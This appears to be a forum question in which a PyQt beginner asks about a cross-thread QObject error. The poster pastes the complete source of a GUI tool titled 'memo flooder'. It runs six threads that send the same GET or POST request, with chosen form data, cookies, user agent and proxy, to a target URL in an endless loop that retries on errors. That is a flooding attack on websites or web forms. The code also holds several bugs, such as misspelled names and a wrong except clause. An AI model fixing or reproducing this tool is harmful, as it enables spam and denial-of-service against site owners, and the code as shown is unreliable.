    QObject: Cannot create children for a parent that is in a different thread. (Parent is QTextDocument(0x9919018), parent's thread is QThread(0x97331e0), current thread is flooderthread(0x97b4c10) error means ? am sorry because am new to pyqt here is the code : i know the code is finished yet but it should work i guess the problem is with myfun.log function... #! /usr/bin/python # -*- coding: utf-8 -*- import urllib, urllib2, itertools, threading, cookielib, Cookie, sys, time, hashlib, os from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: _fromUtf8 = lambda s: s gui=QtGui.QApplication.processEvents texttoset="" class fun(): global texttoset def checkpassword(self): if ui.passwordcheck.isChecked()==True: return 1 else : return 0 def log(self, text): if text != False: firsttext=str(ui.console.toPlainText()) secondtext=firsttext+text+"\n" ui.console.setText(secondtext) log=open("log.log", "a") log.write(text+"\n") log.close() else : firsttext=str(ui.console.toPlainText()) secondtext=firsttext+texttoset+"\n" ui.console.setText(secondtext) log=open("log.log", "a") log.write(texttoset+"\n") log.close() def disable(self): MainWindow.setEnabled(False) pass def enable(self): MainWindow.setEnabled(True) pass def checkmethod(self): if ui.get.isChecked()==True: return 1 elif ui.post.isChecked()==True: return 2 else : return 0 def main(self): connecter() gui() f1.start() gui() time.sleep(3) gui() f2.start() gui() time.sleep(3) gui() f3.start() gui() time.sleep(3) gui() f4.start() gui() time.sleep(3) gui() f5.start() gui() self.sleep(3) gui() f6.start() gui() def killer(self): f1.terminate() f2.terminate() f3.terminate() f4.terminate() f5.terminate() f6.terminate() def close(self): self.killer() os.abort() sys.exit() myfun=fun() def connecter(): QtCore.QObject.connect(f1, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f1, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f1, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f2, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f2, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f2, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f3, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f3, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f3, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f4, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f4, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f4, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f5, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f5, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f5, QtCore.SIGNAL("disable()"), myfun.disable) QtCore.QObject.connect(f6, QtCore.SIGNAL("log(bool)"), myfun.log) QtCore.QObject.connect(f6, QtCore.SIGNAL("enable()"), myfun.enable) QtCore.QObject.connect(f6, QtCore.SIGNAL("disable()"), myfun.disable) x=0 num=0 class flooderthread(QtCore.QThread): global texttoset def __init__(self, x, num): QtCore.QThread.__init__(self) self.x=x self.num=num def log(self, text): texttolog=str(text) time.sleep(1) self.emit(QtCore.SIGNAL("log(bool)"), False) time.sleep(2) def enable(self): time.sleep(1) self.emit(QtCore.SIGNAL("enable()")) def disable(self): time.sleep(1) self.emit(QtCore.SIGNAL("disable()")) def run(self): connecter() self.log("\n\n--------------------------------------------------new session-------------------------------------\n\n") itered=False gui() self.disable() gui() self.log("setting params...") param={ui.dataname1.text():ui.datavalue1.text(),ui.dataname3.text():ui.datavalue3.text(),ui.dataname3.text():ui.datavalue3.text(), } self.log("checking password...") if myfun.checkpassword()==1: itered=True self.log("password is true") else : self.log("password is null ") self.log("itered operation") self.log("setting url") url=str(ui.url.text()) if url[:4]!="http" and url[:3]!="ftp": self.log("url error exiting the whole function") self.log("please set a valide protocole!!") gui() self.enable() gui() return 1 pass else : self.log("valid url") gui() self.log("url is "+url) self.log("setting proxy") proxy="http://"+ui.proxyuser.text()+":"+ui.proxypass.text()+"@"+ui.proxyhost.text()+":"+ui.proxyport.text() self.log("proxy is "+proxy) gui() self.log("preparing params...") urlparam=urllib.urlencode(param) gui() self.log("params are "+urlparam) self.log("setting up headers...") header={'User-Agent':str(ui.useragent.toPlainText())} self.log("headers are "+ str(header)) self.log("setting up proxy handler..") proxyhandler=urllib2.ProxyHandler({"http":str(proxy)}) self.log("checking method") if myfun.checkmethod()==1: self.log("method is get..") self.log("setting request..") finalurl=url+urlparam gui() self.log("final url is"+finalurl) req=urllib2.Request(finalurl, None, headers) elif myfun.checkmethod()==2: self.log("method is post...") self.log("setting request..") finalurl=url gui() self.log("final url is "+finalurl) req=urllib2.Request(finalurl, urlparam, header) else : self.log("error has been accourded") self.log("please select a method!!") gui() self.log("exiting the whole functions") gui() self.enable() return 1 pass self.log("intilizing cookies..") c1=Cookie.SimpleCookie() c1[str(ui.cookiename1.text())]=str(ui.cookievalue1.text()) c1[str(ui.cookiename1.text())]['path']='/' c1[str(ui.cookiename2.text())]=str(ui.cookievalue2.text()) c1[str(ui.cookiename2.text())]['path']='/' c1[str(ui.cookiename3.text())]=str(ui.cookievalue3.text()) c1[str(ui.cookiename3.text())]['domain']=url c1[str(ui.cookiename3.text())]['path']='/' c1[str(ui.cookiename4.text())]=str(ui.cookievalue4.text()) c1[str(ui.cookiename4.text())]['domain']=url c1[str(ui.cookiename4.text())]['path']='/' self.log("cookies are.. :"+str(c1)) cj=cookielib.CookieJar() cj.set_cookie(c1) opener = urllib2.build_opener(proxyhandler, urllib2.HTTPCookieProcessor(cj)) self.log("insatlling opener") urllib2.install_opener(opener) self.log("setting the two operations....") if itered==Fasle: self.log("starting the flooding loop") gui() while true: try: gui() opener.open(req) except e: self.log("error connecting : "+e.reason) self.log("will continue....") continue gui() elif itered==True: pass f1=flooderthread(1, 1) f2=flooderthread(2, 2) f3=flooderthread(3, 3) f4=flooderthread(4, 4) f5=flooderthread(5, 5) f6=flooderthread(6, 6) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.setMinimumSize(QtCore.QSize(838, 500)) MainWindow.setMaximumSize(QtCore.QSize(838, 500)) MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "memo flooder", None, QtGui.QApplication.UnicodeUTF8)) self.centralwidget = QtGui.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.console=QtGui.QTextEdit(self.centralwidget) self.console.setGeometry(10, 350, 800,130) self.console.setReadOnly(True) self.console.setObjectName("console") self.groupBox = QtGui.QGroupBox(self.centralwidget) self.groupBox.setGeometry(QtCore.QRect(30, 50, 71, 80)) self.groupBox.setTitle(QtGui.QApplication.translate("MainWindow", "method:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox.setObjectName(_fromUtf8("groupBox")) self.post = QtGui.QRadioButton(self.groupBox) self.post.setGeometry(QtCore.QRect(10, 20, 61, 22)) self.post.setText(QtGui.QApplication.translate("MainWindow", "post", None, QtGui.QApplication.UnicodeUTF8)) self.post.setChecked(True) self.post.setObjectName(_fromUtf8("post")) self.get = QtGui.QRadioButton(self.groupBox) self.get.setGeometry(QtCore.QRect(10, 50, 51, 22)) self.get.setText(QtGui.QApplication.translate("MainWindow", "get", None, QtGui.QApplication.UnicodeUTF8)) self.get.setObjectName(_fromUtf8("get")) self.url = QtGui.QLineEdit(self.centralwidget) self.url.setGeometry(QtCore.QRect(70, 20, 671, 27)) self.url.setInputMethodHints(QtCore.Qt.ImhUrlCharactersOnly) self.url.setObjectName(_fromUtf8("url")) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) self.groupBox_2.setGeometry(QtCore.QRect(110, 50, 371, 111)) self.groupBox_2.setTitle(QtGui.QApplication.translate("MainWindow", "data:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_2.setObjectName(_fromUtf8("groupBox_2")) self.dataname1 = QtGui.QLineEdit(self.groupBox_2) self.dataname1.setGeometry(QtCore.QRect(20, 30, 101, 27)) self.dataname1.setObjectName(_fromUtf8("dataname1")) self.label = QtGui.QLabel(self.groupBox_2) self.label.setGeometry(QtCore.QRect(40, 10, 67, 17)) self.label.setText(QtGui.QApplication.translate("MainWindow", "name:", None, QtGui.QApplication.UnicodeUTF8)) self.label.setObjectName(_fromUtf8("label")) self.dataname2 = QtGui.QLineEdit(self.groupBox_2) self.dataname2.setGeometry(QtCore.QRect(130, 30, 113, 27)) self.dataname2.setObjectName(_fromUtf8("dataname2")) self.dataname3 = QtGui.QLineEdit(self.groupBox_2) self.dataname3.setGeometry(QtCore.QRect(250, 30, 113, 27)) self.dataname3.setObjectName(_fromUtf8("dataname3")) self.label_2 = QtGui.QLabel(self.groupBox_2) self.label_2.setGeometry(QtCore.QRect(40, 60, 67, 17)) self.label_2.setText(QtGui.QApplication.translate("MainWindow", "value:", None, QtGui.QApplication.UnicodeUTF8)) self.label_2.setObjectName(_fromUtf8("label_2")) self.datavalue1 = QtGui.QLineEdit(self.groupBox_2) self.datavalue1.setGeometry(QtCore.QRect(20, 80, 101, 27)) self.datavalue1.setObjectName(_fromUtf8("datavalue1")) self.datavalue2 = QtGui.QLineEdit(self.groupBox_2) self.datavalue2.setGeometry(QtCore.QRect(130, 80, 113, 27)) self.datavalue2.setObjectName(_fromUtf8("datavalue2")) self.datavalue3 = QtGui.QLineEdit(self.groupBox_2) self.datavalue3.setGeometry(QtCore.QRect(250, 80, 113, 27)) self.datavalue3.setObjectName(_fromUtf8("datavalue3")) self.groupBox_4 = QtGui.QGroupBox(self.centralwidget) self.groupBox_4.setGeometry(QtCore.QRect(670, 50, 151, 111)) self.groupBox_4.setTitle(QtGui.QApplication.translate("MainWindow", "password:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_4.setObjectName(_fromUtf8("groupBox_4")) self.passname = QtGui.QLineEdit(self.groupBox_4) self.passname.setGeometry(QtCore.QRect(10, 30, 113, 27)) self.passname.setObjectName(_fromUtf8("passname")) self.passvalue = QtGui.QLineEdit(self.groupBox_4) self.passvalue.setGeometry(QtCore.QRect(10, 80, 113, 27)) self.passvalue.setObjectName(_fromUtf8("passvalue")) self.passwordcheck = QtGui.QCheckBox(self.centralwidget) self.passwordcheck.setGeometry(QtCore.QRect(670, 180, 97, 22)) self.passwordcheck.setText(QtGui.QApplication.translate("MainWindow", "password", None, QtGui.QApplication.UnicodeUTF8)) self.passwordcheck.setChecked(True) self.passwordcheck.setObjectName(_fromUtf8("passwordcheck")) self.groupBox_5 = QtGui.QGroupBox(self.centralwidget) self.groupBox_5.setGeometry(QtCore.QRect(29, 169, 441, 81)) self.groupBox_5.setTitle(QtGui.QApplication.translate("MainWindow", "proxy:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_5.setObjectName(_fromUtf8("groupBox_5")) self.proxyhost = QtGui.QLineEdit(self.groupBox_5) self.proxyhost.setGeometry(QtCore.QRect(20, 30, 113, 27)) self.proxyhost.setObjectName(_fromUtf8("proxyhost")) self.proxyport = QtGui.QLineEdit(self.groupBox_5) self.proxyport.setGeometry(QtCore.QRect(140, 30, 51, 27)) self.proxyport.setInputMethodHints(QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhPreferNumbers) self.proxyport.setObjectName(_fromUtf8("proxyport")) self.proxyuser = QtGui.QLineEdit(self.groupBox_5) self.proxyuser.setGeometry(QtCore.QRect(200, 30, 113, 27)) self.proxyuser.setObjectName(_fromUtf8("proxyuser")) self.proxypass = QtGui.QLineEdit(self.groupBox_5) self.proxypass.setGeometry(QtCore.QRect(320, 30, 113, 27)) self.proxypass.setObjectName(_fromUtf8("proxypass")) self.label_4 = QtGui.QLabel(self.groupBox_5) self.label_4.setGeometry(QtCore.QRect(100, 10, 67, 17)) self.label_4.setText(QtGui.QApplication.translate("MainWindow", "host", None, QtGui.QApplication.UnicodeUTF8)) self.label_4.setObjectName(_fromUtf8("label_4")) self.label_5 = QtGui.QLabel(self.groupBox_5) self.label_5.setGeometry(QtCore.QRect(150, 10, 67, 17)) self.label_5.setText(QtGui.QApplication.translate("MainWindow", "port", None, QtGui.QApplication.UnicodeUTF8)) self.label_5.setObjectName(_fromUtf8("label_5")) self.label_6 = QtGui.QLabel(self.groupBox_5) self.label_6.setGeometry(QtCore.QRect(200, 10, 67, 17)) self.label_6.setText(QtGui.QApplication.translate("MainWindow", "username", None, QtGui.QApplication.UnicodeUTF8)) self.label_6.setObjectName(_fromUtf8("label_6")) self.label_7 = QtGui.QLabel(self.groupBox_5) self.label_7.setGeometry(QtCore.QRect(320, 10, 67, 17)) self.label_7.setText(QtGui.QApplication.translate("MainWindow", "password", None, QtGui.QApplication.UnicodeUTF8)) self.label_7.setObjectName(_fromUtf8("label_7")) self.groupBox_6 = QtGui.QGroupBox(self.centralwidget) self.groupBox_6.setGeometry(QtCore.QRect(30, 260, 531, 91)) self.groupBox_6.setTitle(QtGui.QApplication.translate("MainWindow", "cookies:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_6.setObjectName(_fromUtf8("groupBox_6")) self.cookiename1 = QtGui.QLineEdit(self.groupBox_6) self.cookiename1.setGeometry(QtCore.QRect(10, 20, 113, 27)) self.cookiename1.setObjectName(_fromUtf8("cookiename1")) self.cookiename2 = QtGui.QLineEdit(self.groupBox_6) self.cookiename2.setGeometry(QtCore.QRect(140, 20, 113, 27)) self.cookiename2.setObjectName(_fromUtf8("cookename2")) self.cookiename3 = QtGui.QLineEdit(self.groupBox_6) self.cookiename3.setGeometry(QtCore.QRect(270, 20, 113, 27)) self.cookiename3.setObjectName(_fromUtf8("cookiename3")) self.cookiename4 = QtGui.QLineEdit(self.groupBox_6) self.cookiename4.setGeometry(QtCore.QRect(390, 20, 113, 27)) self.cookiename4.setObjectName(_fromUtf8("cookiename4")) self.cookievalue1 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue1.setGeometry(QtCore.QRect(10, 50, 113, 27)) self.cookievalue1.setObjectName(_fromUtf8("cookievalue1")) self.cookievalue2 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue2.setGeometry(QtCore.QRect(140, 50, 113, 27)) self.cookievalue2.setObjectName(_fromUtf8("cookievalue2")) self.cookievalue3 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue3.setGeometry(QtCore.QRect(270, 50, 113, 27)) self.cookievalue3.setObjectName(_fromUtf8("cookievalue3")) self.cookievalue4 = QtGui.QLineEdit(self.groupBox_6) self.cookievalue4.setGeometry(QtCore.QRect(390, 50, 113, 27)) self.cookievalue4.setObjectName(_fromUtf8("cookievalue4")) self.groupBox_7 = QtGui.QGroupBox(self.centralwidget) self.groupBox_7.setGeometry(QtCore.QRect(570, 260, 251, 80)) self.groupBox_7.setTitle(QtGui.QApplication.translate("MainWindow", "useragents:", None, QtGui.QApplication.UnicodeUTF8)) self.groupBox_7.setObjectName(_fromUtf8("groupBox_7")) self.useragent = QtGui.QTextEdit(self.groupBox_7) self.useragent.setGeometry(QtCore.QRect(10, 20, 211, 51)) self.useragent.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) self.useragent.setObjectName(_fromUtf8("useragent")) self.start = QtGui.QPushButton(self.centralwidget) self.start.setGeometry(QtCore.QRect(750, 20, 71, 27)) self.start.setText(QtGui.QApplication.translate("MainWindow", "start", None, QtGui.QApplication.UnicodeUTF8)) self.start.setObjectName(_fromUtf8("start")) self.label_3 = QtGui.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(30, 20, 67, 17)) self.label_3.setText(QtGui.QApplication.translate("MainWindow", "url :", None, QtGui.QApplication.UnicodeUTF8)) self.label_3.setObjectName(_fromUtf8("label_3")) MainWindow.setCentralWidget(self.centralwidget) QtCore.QObject.connect(self.start, QtCore.SIGNAL(_fromUtf8("clicked(bool)")), myfun.main) QtCore.QObject.connect(self.passwordcheck, QtCore.SIGNAL(_fromUtf8("clicked(bool)")), self.groupBox_4.setEnabled) QtCore.QMetaObject.connectSlotsByName(MainWindow) def __del__(): myfun.killer() os.abort() sys.exit() app = QtGui.QApplication(sys.argv) MainWindow = QtGui.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) myfun.log("\n\n--------------------------------------------------new session-------------------------------------\n\n") MainWindow.show() sys.exit(app.exec_())

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